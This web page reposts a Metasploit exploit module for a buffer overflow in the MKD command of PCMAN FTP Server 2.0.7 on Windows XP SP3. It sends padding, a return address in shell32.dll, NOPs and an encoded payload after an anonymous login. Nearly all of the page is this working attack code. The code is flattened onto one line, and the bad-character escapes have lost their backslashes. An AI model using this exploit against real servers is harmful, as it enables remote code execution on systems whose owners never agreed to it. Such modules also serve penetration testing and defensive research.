Home / os / winmobile

PCMAN FTP Server 2.0.7 MKD Buffer Overflow

Posted on 13 April 2017

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'PCMAN FTP Server Buffer Overflow - MKD Command', 'Description' => %q{ This module exploits a buffer overflow vulnerability found in the MKD command of the PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous credientials are enabled. }, 'Author' => [ 'R-73eN', # Initial Discovery -- https://www.exploit-db.com/exploits/36078/ 'Ye Yint Min Thu Htut' # msf Module -- @yeyint_mth @yehg ], 'License' => MSF_LICENSE, 'References' => [ [ 'EDB', ''], [ 'OSVDB', ''] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'Space' => 1000, 'BadChars' => "x00x0Ax0D", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP3 English', { 'Ret' => 0x7CA58265, # shell32.dll 'Offset' => 2007 } ], ], 'DisclosureDate' => 'Feb 14 2015', 'DefaultTarget' => 0)) end def check connect_login disconnect if /220 PCMan's FTP Server 2.0/ === banner Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def exploit connect_login print_status('Creating payload...') sploit = rand_text_alpha(target['Offset']) sploit << [target.ret].pack('V') sploit << make_nops(10) sploit << payload.encoded send_cmd( ["mkd", sploit], false ) disconnect end end

 

TOP